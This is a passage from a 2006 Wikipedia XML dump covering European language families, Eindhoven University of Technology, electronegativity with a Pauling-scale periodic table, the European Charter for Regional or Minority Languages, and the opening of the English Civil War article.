* [[Latin]]
&lt;blockquote&gt;
==== [[Romance languages]] ====
The Romance languages decended from the [[Vulgar Latin]] spoken across most of the lands of the [[Roman Empire]].
===== [[Iberian Romance languages|Ibero-Romance languages]] =====
* [[Aragonese language|Aragonese]]
* [[Asturian language|Asturian]]
** [[Leonese language|Leonese]]
** [[Mirandese language|Mirandés]]
* [[Catalan language|Catalan, Valencian]]
** [[Eastern Catalan]]
*** [[Alguerese]]
*** [[Balearic]]
*** [[Central Catalan]]
** [[Western Catalan]]
*** [[North-Western Catalan]]
*** [[Valencian]]
* [[Mozarabic language|Mozarabic]]
* [[Portuguese language|Portuguese]]
** [[European Portuguese]]
** [[Brazilian Portuguese]]
** [[African Portuguese]]
*** [[Angolan Portuguese]]
*** [[Capeverdean Portuguese]]
*** [[Guinean Portuguese]]
*** [[Mozambican Portuguese]]
*** [[São Tomean Portuguese]]
** [[Judeo-Portuguese]]
** [[Simple Portuguese]]
** [[Portuguese-based creole languages]]
** [[Galician language|Galician]]
*** [[Eonaviegan dialect|Eonaviegan]] (a Galician dialect with some traits of [[Asturian language|Asturian]])
** [[Fala language]] (spoken in a valley of the northwestern part of Spanish [[Extremadura]])
* [[Portuñol]]
* [[Spanish language|Spanish]]
** [[Extremaduran language|Extremaduran]]
** [[Ladino language|Ladino]]
** [[Spanish-based creole languages]]

===== [[Gallo-Romance languages]] =====
* [[Franco-Provençal language|Franco-Provençal]]
*[[Langue d'oïl|Oïl languages]]
**[[Burgundian|Bourguignon-Morvandiau]] 
**[[Champenois]] 
**[[Franc-Comtois]] 
**[[French language|French]]
*** [[Belgian French]]
*** [[Cajun French]]
*** [[Quebec French]]
*** [[Swiss French]]
*** [[Zarphatic]]/[[Judæo-French]] (extinct since the late 1300s)
**[[Gallo language]]
**[[Lorrain]]
**[[Norman language|Norman]]
***[[Jèrriais]]
***[[Dgèrnésiais]]
**[[Picard language|Picard]] 
**[[Poitevin-Saintongeais]] 
**[[Walloon language|Walloon]] 
* [[Occitan language|Occitan]]
** [[Gascon]]
*** [[Aranese]]
** [[Auvergnat]]
** [[Languedocien]]
** [[Limousin language|Limousin]]
** [[Provençal]]
*** [[Shuadit language|Shuadit]] (Judæo-Provençal) (extinct since 1977)

===== [[Italo-Romance languages]] =====
* [[Corsican language|Corsican]]
* [[Dalmatian language|Dalmatian]]
** [[Istriot language|Istriot]]
* [[Italian language|Italian]]
** [[Emilio-Romagnolo language|Emilio-Romagnolo]]
** [[Italkian|Judeo-Italian]]
** [[Ligurian language|Ligurian]]
***[[Monegasque language|Monegasque]]
** [[Lombard language|Lombard]]
** [[Napoletana-Calabrese language|Napoletana-Calabrese]]
** [[Piemontese language|Piemontese]]
* [[Sardinian language|Sardinian]]
** [[Sardo campidanese|Campidanese]]
** [[Gallurese]]
** [[Sardo logudorese|Logudorese]]
** [[Sassarese]]
* [[Sicilian language|Sicilian]]
* [[Venetian language|Venetian]]

===== [[Rhaetian languages|Rhaeto-Romance languages]] =====
* [[Friulian language|Friulian]]
* [[Ladin language|Ladin]]
* [[Romansh]]

===== [[Eastern Romance languages]] =====
* [[Daco-Romanian]]
** [[Romanian language|Romanian]]
** [[Moldovan language|Moldovan]]
* [[Aromanian language|Aromanian]]
* [[Istro-Romanian language|Istro-Romanian]]
* [[Megleno-Romanian language|Megleno-Romanian]]

&lt;/blockquote&gt;

=== [[Indo-Iranian languages]] ===
&lt;blockquote&gt;
==== [[Indo-Aryan languages]] ==== 
* [[Romany language|Romany]]

==== [[Iranian languages]] ====
* [[Kurdish language|Kurdish]]
* [[Ossetic language|Ossetian language]]
* [[Persian language|Persian]]
&lt;/blockquote&gt;



=== [[Slavic languages]] ===
&lt;blockquote&gt;
==== [[West Slavic languages]] ====
* [[Czech language|Czech]]
* [[Kashubian language|Kashubian]]
* [[Polish language|Polish]]
* [[Slovak language|Slovak]]
* [[Sorbian language|Sorbian]]

==== [[East Slavic languages]] ====
* [[Belarusian language|Belarusian]]
* [[Russian language|Russian]]
* [[Rusyn language|Rusyn]]
** [[Carpatho-Rusyn (Ruthenian)]]
** [[Pannonian-Rusyn (Rusnak)]] 
* [[Ukrainian language|Ukrainian]]

==== [[South Slavic languages]] ====
* [[Bulgarian language|Bulgarian]]
* Old [[Church Slavonic]]
* [[Macedonian language|Macedonian]]
* [[Bosnian language|Bosnian]] (previously part of [[Serbo-Croatian language|Serbo-Croatian]])
* [[Croatian language|Croatian]] (previously part of [[Serbo-Croatian language|Serbo-Croatian]])
* [[Serbian language|Serbian]] (previously part of [[Serbo-Croatian language|Serbo-Croatian]])
* [[Slovene language|Slovene]]
* [[Romano-Serbian language|Romano-Serbian]] (a [[mixed language]])
&lt;/blockquote&gt;


==See also:==

* [[Alphabetic list of living languages in Europe]]

{{Europe_in_topic|Languages of}}

[[Category:Languages by geographical region]]

[[sv:Europas språk]]</text>
    </revision>
  </page>
  <page>
    <title>Eindhoven University of Technology</title>
    <id>9706</id>
    <revision>
      <id>40363131</id>
      <timestamp>2006-02-20T01:48:06Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Infobox Dutch University |
  name           = Eindhoven University of Technology |
  latin_name     = (None) |
  dutch_name     = Technische Universiteit Eindhoven|
  image          = [[Image:LogoEindhovenniversityOfTechnology.png|right|Logo of the Eindhoven University of Technology]] |
  motto          = Mens Agitat Molem (''The mind moves matter'') |
  established    = [[1956]] |
  type           = [[Public university|Public]], technical |
  head           = Prof.dr. ir. C.J. van Duijn |
  city           = [[Eindhoven]] |
  country        = [[The Netherlands]] |
  data_from      = 2004 |
  students       = 6800 |
  faculty        = 220 |
  membership     = [[CESAER Association|CESAER]], Santander and CLUSTER |
  homepage       = [http://www.tue.nl/ www.tue.nl]
}}

The '''Eindhoven University of Technology''' (in Dutch:  Technische Universiteit Eindhoven or TU/e, and formerly '''Technische Hogeschool Eindhoven''' or '''THE''') is a technical university located in [[Eindhoven]], the [[Netherlands]]. The motto of the university is: ''Mens agitat molem'' (The mind moves matter).

It was founded as the ''Technische Hogeschool Eindhoven'' (THE) on [[June 15]], [[1956]] by the Dutch government. It was the second institution of its kind in the [[Netherlands]], preceded only by the [[Delft University of Technology]]. It is located on its own campus in the centre of Eindhoven, just north of the central station. It is currently home to about 300 professors, 6000 students, 450 Ph.D. students, 200 post-doc students and 3000 regular employees. It also supports 100 student associations and 15 alumni associations.
One of the former students of the university is Gerard Kleisterlee, the current [[CEO]] of [[Philips]].

The university is located in an area where several companies that lead in technology are doing their research, like [[Philips]], [[ASML]] and [[DAF Trucks|DAF]]. The university maintains close contacts with these companies.

As of April 29, 2005, Prof.dr.ir. C.J. van Duijn has the position of rector magnificus.

==Distinguished alumni==
* [[Kees A. Schouhamer Immink|Kees Schouhamer Immink]], scientist and president Turing Machines Inc. 
* [[Gerard Kleisterlee]], president [[Philips]] since 2001

==Distinguished faculty==
* [[Edsger Dijkstra]]

==External links==
* [http://www.tue.nl TU/e]
* [http://w3.chem.tue.nl Department of Chemical Engineering and Chemistry]

{{Template:Dutch universities}}

[[Category:Technical universities]]
[[Category:Universities in the Netherlands]]

[[de:Technische Universiteit Eindhoven]]
[[nl:Technische Universiteit Eindhoven]]</text>
    </revision>
  </page>
  <page>
    <title>Electronegativity</title>
    <id>9707</id>
    <revision>
      <id>42011629</id>
      <timestamp>2006-03-03T05:14:04Z</timestamp>
      <contributor>
        <username>TeejK</username>
        <id>1021755</id>
      </contributor>
      <text xml:space="preserve">'''Electronegativity''' is a measure of the ability of an atom or molecule to attract electrons in the context of a chemical bond. The type of bond formed is largely determined by the difference in electronegativity between the atoms involved. Atoms with similar electronegativities will share an electron with each other and form a [[covalent bond]]. However, if the difference is too great, the electron will be permanently transferred to one atom and an ionic bond will form. Furthermore, in a covalent bond if one atom pulls slightly harder than the other, a [[Polar_covalent_bond|polar covalent bond]] will form.

The reverse of electronegativity, the ability of an atom to lose electrons, is known as '''electropositivity'''.

Two scales of electronegativity are in common use: the Pauling scale (proposed in [[1932]]) and the [[Mulliken scale]] (proposed in [[1934]]). Another proposal is the [[Allred-Rochow scale]].

== Pauling scale ==

The '''Pauling scale''' was devised in [[1932]] by [[Linus Pauling]]. On this scale, the most electronegative [[chemical element]] ([[fluorine]]) is given an electronegativity value of 3.98 (textbooks often state this value to be 4.0); the least electronegative element ([[francium]]) has a value of 0.7, and the remaining elements have values in between.  On the Pauling scale, [[hydrogen]] is arbitrarily assigned a value of 2.1 or 2.2.

'''&amp;delta;'''EN'''''' is the difference in electronegativity between two atoms or elements. Bonds between atoms with a large electronegativity difference (greater than or equal to 1.7) are usually considered to be [[ionic bond|ionic]], while values between 1.7 and 0.4 are considered polar [[covalent bond|covalent]]. Values below 0.4 are considered non-polar [[covalent bond]]s, and electronegativity differences of 0 indicate a completely non-polar covalent bond.

== Mulliken scale ==

The Mulliken scale was proposed by [[Robert S. Mulliken]] in [[1934]]. On the Mulliken scale, numbers are obtained by averaging [[ionization potential]] and [[electron affinity]]. Consequently, the Mulliken electronegativities are expressed directly in [[energy]] units, usually [[electron volt]]s.

== Electronegativity trends ==

Each [[chemical element|element]] has a characteristic electronegativity ranging from 0 to 4 on the Pauling scale.  The most strongly electronegative element, [[fluorine]], has an electronegativity of 3.98 while weakly electronegative elements, such as [[lithium]], have values close to 1.  The least electronegative element is [[francium]] at 0.7. ''In general'', the degree of electronegativity decreases down each group and increases across the periods, as shown below.  Across a period, non-metals tend to gain electrons and metals tend to lose them due to the atom striving to achieve a stable [[octet rule|octet]].  Down a group, the nuclear charge has less effect on the outermost shells.  Therefore, the most electronegative atoms can be found in the upper, right hand side of the periodic table, and the least electronegative elements can be found at the bottom left. Consequently, ''in general'', [[atomic radius]] decreases across the periodic table, but [[ionization energy]] increases.
&lt;center&gt;
{|  WIDTH=&quot;80%&quot;  align=&quot;CENTER&quot;
!  colspan=20 | &amp;rarr; [[Atomic radius]] decreases &amp;rarr; [[Ionization energy]] increases &amp;rarr; [[Electronegativity]] increases &amp;rarr;
|-  align=&quot;CENTER&quot;
| [[Periodic table group|'''Group''']]
| [[Alkali metal|'''1''']]
| [[Alkaline earth|'''2''']]
| [[Group 3 element|'''3''']]
| [[Group 4 element|'''4''']]
| [[Group 5 element|'''5''']]
| [[Group 6 element|'''6''']]
| [[Group 7 element|'''7''']]
| [[Group 8 element|'''8''']]
| [[Group 9 element|'''9''']]
| [[Group 10 element|'''10''']]
| [[Coinage metal|'''11''']]
| [[Group 12 element|'''12''']]
| [[Boron group|'''13''']]
| [[Carbon group|'''14''']]
| [[Pnictogen|'''15''']]
| [[Chalcogen|'''16''']]
| [[Halogen|'''17''']]
| [[Noble gas|'''18''']]
|-  align=&quot;CENTER&quot;
| [[Periodic table period|'''Period''']]
|  colspan=19 | 
|-  align=&quot;CENTER&quot;
| [[Period 1 element|'''1''']]
|  bgcolor=&quot;#ff8a00&quot; | [[Hydrogen|H]]&lt;br/&gt;2.20
|  colspan=16 | 
|  bgcolor=&quot;#bbbbbb&quot; | [[Helium|He]]&lt;br/&gt;&amp;nbsp;
|-  align=&quot;CENTER&quot;
| [[Period 2 element|'''2''']]
|  bgcolor=&quot;#ffe900&quot; | [[Lithium|Li]]&lt;br/&gt;0.98
|  bgcolor=&quot;#ffbb00&quot; | [[Beryllium|Be]]&lt;br/&gt;1.57
|  colspan=10 | 
|  bgcolor=&quot;#ff9700&quot; | [[Boron|B]]&lt;br/&gt;2.04
|  bgcolor=&quot;#ff6f00&quot; | [[Carbon|C]]&lt;br/&gt;2.55
|  bgcolor=&quot;#ff4900&quot; | [[Nitrogen|N]]&lt;br/&gt;3.04
|  bgcolor=&quot;#ff2a00&quot; | [[Oxygen|O]]&lt;br/&gt;3.44
|  bgcolor=&quot;#ff0000&quot; | [[Fluorine|F]]&lt;br/&gt;3.98
|  bgcolor=&quot;#bbbbbb&quot; | [[Neon|Ne]]&lt;br/&gt;&amp;nbsp;
|-  align=&quot;CENTER&quot;
| [[Period 3 element|'''3''']]
|  bgcolor=&quot;#ffed00&quot; | [[Sodium|Na]]&lt;br/&gt;0.93
|  bgcolor=&quot;#ffd000&quot; | [[Magnesium|Mg]]&lt;br/&gt;1.31
|  colspan=10 | 
|  bgcolor=&quot;#ffb800&quot; | [[Aluminium|Al]]&lt;br/&gt;1.61
|  bgcolor=&quot;#ffa200&quot; | [[Silicon|Si]]&lt;br/&gt;1.90
|  bgcolor=&quot;#ff8b00&quot; | [[Phosphorus|P]]&lt;br/&gt;2.19
|  bgcolor=&quot;#ff6d00&quot; | [[Sulfur|S]]&lt;br/&gt;2.58
|  bgcolor=&quot;#ff4000&quot; | [[Chlorine|Cl]]&lt;br/&gt;3.16
|  bgcolor=&quot;#bbbbbb&quot; | [[Argon|Ar]]&lt;br/&gt;&amp;nbsp;
|-  align=&quot;CENTER&quot;
| [[Period 4 element|'''4''']]
|  bgcolor=&quot;#fff600&quot; | [[Potassium|K]]&lt;br/&gt;0.82
|  bgcolor=&quot;#ffe800&quot; | [[Calcium|Ca]]&lt;br/&gt;1.00
|  bgcolor=&quot;#ffcc00&quot; | [[Scandium|Sc]]&lt;br/&gt;1.36
|  bgcolor=&quot;#ffbe00&quot; | [[Titanium|Ti]]&lt;br/&gt;1.54
|  bgcolor=&quot;#ffb700&quot; | [[Vanadium|V]]&lt;br/&gt;1.63
|  bgcolor=&quot;#ffb400&quot; | [[Chromium|Cr]]&lt;br/&gt;1.66
|  bgcolor=&quot;#ffbd00&quot; | [[Manganese|Mn]]&lt;br/&gt;1.55
|  bgcolor=&quot;#ffa700&quot; | [[Iron|Fe]]&lt;br/&gt;1.83
|  bgcolor=&quot;#ffa300&quot; | [[Cobalt|Co]]&lt;br/&gt;1.88
|  bgcolor=&quot;#ffa100&quot; | [[Nickel|Ni]]&lt;br/&gt;1.91
|  bgcolor=&quot;#ffa200&quot; | [[Copper|Cu]]&lt;br/&gt;1.90
|  bgcolor=&quot;#ffb500&quot; | [[Zinc|Zn]]&lt;br/&gt;1.65
|  bgcolor=&quot;#ffa900&quot; | [[Gallium|Ga]]&lt;br/&gt;1.81
|  bgcolor=&quot;#ff9900&quot; | [[Germanium|Ge]]&lt;br/&gt;2.01
|  bgcolor=&quot;#ff8c00&quot; | [[Arsenic|As]]&lt;br/&gt;2.18
|  bgcolor=&quot;#ff6f00&quot; | [[Selenium|Se]]&lt;br/&gt;2.55
|  bgcolor=&quot;#ff4f00&quot; | [[Bromine|Br]]&lt;br/&gt;2.96
|  bgcolor=&quot;#ff4c00&quot; | [[Krypton|Kr]]&lt;br/&gt;3.00
|-  align=&quot;CENTER&quot;
| [[Period 5 element|'''5''']]
|  bgcolor=&quot;#fff600&quot; | [[Rubidium|Rb]]&lt;br/&gt;0.82
|  bgcolor=&quot;#ffec00&quot; | [[Strontium|Sr]]&lt;br/&gt;0.95
|  bgcolor=&quot;#ffd700&quot; | [[Yttrium|Y]]&lt;br/&gt;1.22
|  bgcolor=&quot;#ffce00&quot; | [[Zirconium|Zr]]&lt;br/&gt;1.33
|  bgcolor=&quot;#ffb900&quot; | [[Niobium|Nb]]&lt;br/&gt;1.6
|  bgcolor=&quot;#ff8d00&quot; | [[Molybdenum|Mo]]&lt;br/&gt;2.16
|  bgcolor=&quot;#ffa200&quot; | [[Technetium|Tc]]&lt;br/&gt;1.9
|  bgcolor=&quot;#ff8a00&quot; | [[Ruthenium|Ru]]&lt;br/&gt;2.2
|  bgcolor=&quot;#ff8400&quot; | [[Rhodium|Rh]]&lt;br/&gt;2.28
|  bgcolor=&quot;#ff8a00&quot; | [[Palladium|Pd]]&lt;br/&gt;2.20
|  bgcolor=&quot;#ff9f00&quot; | [[Silver|Ag]]&lt;br/&gt;1.93
|  bgcolor=&quot;#ffb200&quot; | [[Cadmium|Cd]]&lt;br/&gt;1.69
|  bgcolor=&quot;#ffab00&quot; | [[Indium|In]]&lt;br/&gt;1.78
|  bgcolor=&quot;#ff9d00&quot; | [[Tin|Sn]]&lt;br/&gt;1.96
|  bgcolor=&quot;#ff9600&quot; | [[Antimony|Sb]]&lt;br/&gt;2.05
|  bgcolor=&quot;#ff9200&quot; | [[Tellurium|Te]]&lt;br/&gt;2.1
|  bgcolor=&quot;#ff6700&quot; | [[Iodine|I]]&lt;br/&gt;2.66
|  bgcolor=&quot;#ff6b00&quot; | [[Xenon|Xe]]&lt;br/&gt;2.6
|-  align=&quot;CENTER&quot;
| [[Period 6 element|'''6''']]
|  bgcolor=&quot;#fff800&quot; | [[Caesium|Cs]]&lt;br/&gt;0.79
|  bgcolor=&quot;#fff000&quot; | [[Barium|Ba]]&lt;br/&gt;0.89
|  *&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#ffd000&quot; | [[Hafnium|Hf]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffc100&quot; | [[Tantalum|Ta]]&lt;br/&gt;1.5
|  bgcolor=&quot;#ff7e00&quot; | [[Tungsten|W]]&lt;br/&gt;2.36
|  bgcolor=&quot;#ffa200&quot; | [[Rhenium|Re]]&lt;br/&gt;1.9
|  bgcolor=&quot;#ff8a20&quot; | [[Osmium|Os]]&lt;br/&gt;2.2
|  bgcolor=&quot;#ff8a00&quot; | [[Iridium|Ir]]&lt;br/&gt;2.20
|  bgcolor=&quot;#ff8400&quot; | [[Platinum|Pt]]&lt;br/&gt;2.28
|  bgcolor=&quot;#ff7000&quot; | [[Gold|Au]]&lt;br/&gt;2.54
|  bgcolor=&quot;#ff9a00&quot; | [[Mercury (element)|Hg]]&lt;br/&gt;2.00
|  bgcolor=&quot;#ffb700&quot; | [[Thallium|Tl]]&lt;br/&gt;1.62
|  bgcolor=&quot;#ff8000&quot; | [[Lead|Pb]]&lt;br/&gt;2.33
|  bgcolor=&quot;#ff9800&quot; | [[Bismuth|Bi]]&lt;br/&gt;2.02
|  bgcolor=&quot;#ff9a00&quot; | [[Polonium|Po]]&lt;br/&gt;2.0
|  bgcolor=&quot;#ff8a00&quot; | [[Astatine|At]]&lt;br/&gt;2.2
|  bgcolor=&quot;#bbbbbb&quot; | [[Radon|Rn]]&lt;br/&gt;&amp;nbsp;
|-  align=CENTER
| [[Period 7 element|'''7''']]
|  bgcolor=&quot;#ffff00&quot; | [[Francium|Fr]]&lt;br/&gt;0.7
|  bgcolor=&quot;#ffef00&quot; | [[Radium|Ra]]&lt;br/&gt;0.9
|  **&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Rutherfordium|Rf]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Dubnium|Db]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Seaborgium|Sg]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Bohrium|Bh]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Hassium|Hs]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Meitnerium|Mt]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Darmstadtium|Ds]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Roentgenium|Rg]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununbium|Uub]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununtrium|Uut]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununquadium|Uuq]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununpentium|Uup]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununhexium|Uuh]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununseptium|Uus]]&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#bbbbbb&quot; | [[Ununoctium|Uuo]]&lt;br/&gt;&amp;nbsp;
|-  align=CENTER
|   
|-  align=CENTER
|  [[Lanthanides]]
|  *&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#ffe000&quot; | [[Lanthanum|La]]&lt;br/&gt;1.1
|  bgcolor=&quot;#ffde00&quot; | [[Cerium|Ce]]&lt;br/&gt;1.12
|  bgcolor=&quot;#ffde00&quot; | [[Praseodymium|Pr]]&lt;br/&gt;1.13
|  bgcolor=&quot;#ffdd00&quot; | [[Neodymium|Nd]]&lt;br/&gt;1.14
|  bgcolor=&quot;#ffde00&quot; | [[Promethium|Pm]]&lt;br/&gt;1.13
|  bgcolor=&quot;#ffda00&quot; | [[Samarium|Sm]]&lt;br/&gt;1.17
|  bgcolor=&quot;#ffd800&quot; | [[Europium|Eu]]&lt;br/&gt;1.2
|  bgcolor=&quot;#ffd800&quot; | [[Gadolinium|Gd]]&lt;br/&gt;1.2
|  bgcolor=&quot;#ffe000&quot; | [[Terbium|Tb]]&lt;br/&gt;1.1
|  bgcolor=&quot;#ffd700&quot; | [[Dysprosium|Dy]]&lt;br/&gt;1.22
|  bgcolor=&quot;#ffd600&quot; | [[Holmium|Ho]]&lt;br/&gt;1.23
|  bgcolor=&quot;#ffd500&quot; | [[Erbium|Er]]&lt;br/&gt;1.24
|  bgcolor=&quot;#ffd400&quot; | [[Thulium|Tm]]&lt;br/&gt;1.25
|  bgcolor=&quot;#ffe000&quot; | [[Ytterbium|Yb]]&lt;br/&gt;1.1
|  bgcolor=&quot;#ffd300&quot; | [[Lutetium|Lu]]&lt;br/&gt;1.27
|-  align=CENTER
|  [[Actinides]]
|  **&lt;br/&gt;&amp;nbsp;
|  bgcolor=&quot;#ffe000&quot; | [[Actinium|Ac]]&lt;br/&gt;1.1
|  bgcolor=&quot;#ffd000&quot; | [[Thorium|Th]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffc100&quot; | [[Protactinium|Pa]]&lt;br/&gt;1.5
|  bgcolor=&quot;#ffca00&quot; | [[Uranium|U]]&lt;br/&gt;1.38
|  bgcolor=&quot;#ffcc00&quot; | [[Neptunium|Np]]&lt;br/&gt;1.36
|  bgcolor=&quot;#ffd200&quot; | [[Plutonium|Pu]]&lt;br/&gt;1.28
|  bgcolor=&quot;#ffde00&quot; | [[Americium|Am]]&lt;br/&gt;1.13
|  bgcolor=&quot;#ffd200&quot; | [[Curium|Cm]]&lt;br/&gt;1.28
|  bgcolor=&quot;#ffd000&quot; | [[Berkelium|Bk]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffd000&quot; | [[Californium|Cf]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffd000&quot; | [[Einsteinium|Es]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffd000&quot; | [[Fermium|Fm]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffd000&quot; | [[Mendelevium|Md]]&lt;br/&gt;1.3
|  bgcolor=&quot;#ffd000&quot; | [[Nobelium|No]]&lt;br/&gt;1.3
|  bgcolor=&quot;#bbbbbb&quot; | [[Lawrencium|Lr]]&lt;br/&gt;&amp;nbsp;
|-  align=&quot;CENTER&quot;
|  colspan=20 | 
|}&lt;/center&gt;
&lt;center&gt;[[Periodic table]] of electronegativity using the [[Pauling scale]]&lt;/center&gt;

&lt;center&gt;See also [[Periodic table]]&lt;/center&gt;

[[Category:Chemical properties]]

[[af:Elektronegatiwiteit]]
[[ca:Electronegativitat]]
[[cs:Elektronegativita]]
[[da:Elektronegativitet]]
[[de:Elektronegativität]]
[[es:Electronegatividad]]
[[fr:Électronégativité]]
[[ko:전기 음성도]]
[[it:Elettronegatività]]
[[he:אלקטרושליליות]]
[[mk:Електронегативност]]
[[nl:Elektronegativiteit]]
[[ja:電気陰性度]]
[[no:Elektronegativitet]]
[[nn:Elektronegativitet]]
[[pl:Elektroujemność]]
[[pt:Eletronegatividade]]
[[ro:Electronegativitate]]
[[ru:Электроотрицательность]]
[[sr:Електронегативност]]
[[fi:Elektronegatiivisuus]]
[[sv:Elektronegativitet]]
[[th:อิเล็กโตรเนกาทิวิตี]]
[[tr:Elektronegatiflik]]
[[uk:Електровід'ємність]]
[[zh:鲍林标度]]</text>
    </revision>
  </page>
  <page>
    <title>European Charter for Regional or Minority Languages</title>
    <id>9708</id>
    <revision>
      <id>41701034</id>
      <timestamp>2006-03-01T03:47:53Z</timestamp>
      <contributor>
        <username>Louis3ham</username>
        <id>587507</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">The '''European Charter for Regional or Minority Languages''' ('''ECRML''') is a European [[treaty]] (CETS 148) adopted in [[1992]] under the auspices of the [[Council of Europe]] to protect and promote historical [[regional language|regional]] and [[minority language]]s in [[Europe]]. It only applies to [[language]]s traditionally used by the nationals of the State Parties (thus excluding languages used by recent [[immigrant]]s from other states), which significantly differ from the majority or [[official language]] (thus excluding mere local dialects of the official or majority language) and which either have a territorial basis (and are therefore traditionally spoken by populations of regions or areas within the State) or are used by linguistic minorities within the State as a whole (thereby including such languages as [[Yiddish language|Yiddish]] and [[Romany language|Romany]], which were used over a wide geographic area).

Languages which are official within regions or provinces or federal units within a State (for example [[Catalan language|Catalan]] in [[Spain]]) are not classified as official languages of the State and may therefore benefit from the Charter. On the other hand, the [[Republic of Ireland]] has not been able to sign the Charter on behalf of the [[Irish language]] (although a minority language) as it is defined as the first official language of the state. The [[United Kingdom]] has, though, ratified the Charter in respect of (among other languages) [[Irish language in Northern Ireland|Irish]] in [[Northern Ireland]]. [[France]], although a signatory, has been constitutionally blocked from ratifying the Charter in respect of the [[languages of France]].

The charter provides a large number of different actions state parties can take to protect and promote historical regional and minority languages. There are two levels of protection&amp;mdash;all signatories must apply the lower level of protection to qualifying languages; signatories may further declare that a qualifying language or languages will benefit from the higher level of protection which lists a range of actions from which states must agree to undertake at least 35.

==See also==
* [[European languages]]
* [[Framework Convention for the Protection of National Minorities]]
* [[Languages of the European Union]]
* [[Language policy in France]]
* [[Universal Declaration of Linguistic Rights]]


== External links ==
{{wikisource}}
*[http://conventions.coe.int/Treaty/Commun/QueVoulezVous.asp?NT=148&amp;CM=8&amp;DF=23/01/05&amp;CL=ENG More information]

[[Category:Council of Europe|Charter for Regional or Minority Language]]
[[Category:Languages of Europe]]
[[Category:Language policy of the European Union]]
[[Category:Minority languages]]

[[cs:Evropská charta jazyků]]
[[el:Ευρωπαϊκός χάρτης των περιφερειακών ή μειονοτικών γλωσσών]]
[[fr:Charte européenne des langues régionales ou minoritaires]]
[[it:Carta europea per le lingue regionali e minoritarie]]
[[nl:Europees handvest voor regionale talen of talen van minderheden]]
[[ja:ヨーロッパ地方言語・少数言語憲章]]
[[oc:Carta Europèa des lengües regionaus o minoritàries]]</text>
    </revision>
  </page>
  <page>
    <title>English Civil War</title>
    <id>9709</id>
    <revision>
      <id>41937651</id>
      <timestamp>2006-03-02T19:24:28Z</timestamp>
      <contributor>
        <username>RJP</username>
        <id>232876</id>
      </contributor>
      <minor />
      <comment>restore Rebellion</comment>
      <text xml:space="preserve">The term '''''English Civil War''''' (or '''''Wars''''') refers to the series of armed conflicts and political machinations which took place between [[English Parliamentarian]]s and [[Cavaliers|Royalist]]s from [[1642]] until [[1651]]. The [[#The First English Civil War|first]] ([[1642]]&amp;ndash;[[1645]]) and the [[#The Second English Civil War|second]] ([[1648]]&amp;ndash;[[1649]]) [[civil war]]s pitted the supporters of [[Charles I of England|King Charles I]] against the supporters of the [[Long Parliament]], while the [[#The Third English Civil War|third]] (1649&amp;ndash;1651) saw fighting between supporters of [[Charles II of England|King Charles II]] and supporters of the [[Rump Parliament]]. The third war ended with the Parliamentary victory at the [[Battle of Worcester]] on [[September 3]], 1651.

==Introduction==
The wars inextricably mingled with and formed part of a linked series of conflicts and civil wars between [[1639]] and 1651 in the kingdoms of [[England]], [[Scotland]] and [[Ireland]], which at that time shared a [[monarch]] but formed distinct countries with otherwise separate political structures. Those recent historians who aim to have a unified overview (rather than treating parts of the other conflicts as background to the ''English Civil War'') sometimes call these linked conflicts the ''[[Wars of the Three Kingdoms]]''. Some have also described them as the &quot;''British Civil Wars''&quot;, but this terminology can mislead: the three kingdoms did not become a single political entity until the [[Act of Union 1800|Act of Union]] between the [[Kingdom of Ireland]] and the [[United Kingdom of Great Britain]] ([[England]], [[Scotland]] and [[Wales]]), in 1800.

The wars led to the trial and execution of Charles I, the exile of his son Charles II, and the replacement of the English monarchy with the [[Commonwealth of England]] (1649&amp;ndash;[[1653]]) and then with a [[The Protectorate|Protectorate]] (1653&amp;ndash;[[1659]]): the personal rule of [[Oliver Cromwell]]. The monopoly of the [[Church of England]] on Christian worship in England came to an end, and the victors consolidated the already-established Protestant aristocracy in Ireland. Constitutionally, the wars established a precedent that British monarchs could not govern without the consent of Parliament.

Unlike other [[List of English civil wars|civil wars in England]] which focused on who ruled, this war also concerned itself with the manner of governing the British isles. Accordingly, historians also refer to the English Civil War as the '''English Revolution''' and (especially in 17th century [[Cavaliers|Royalist]] circles) as the '''Great Rebellion'''.

== Background ==
===The King's aspirations===
[[Image:Charels I by Daniel Mytens in 1631.jpg|thumb|100px|Charles I in 1631, by Daniel Mytens.]]
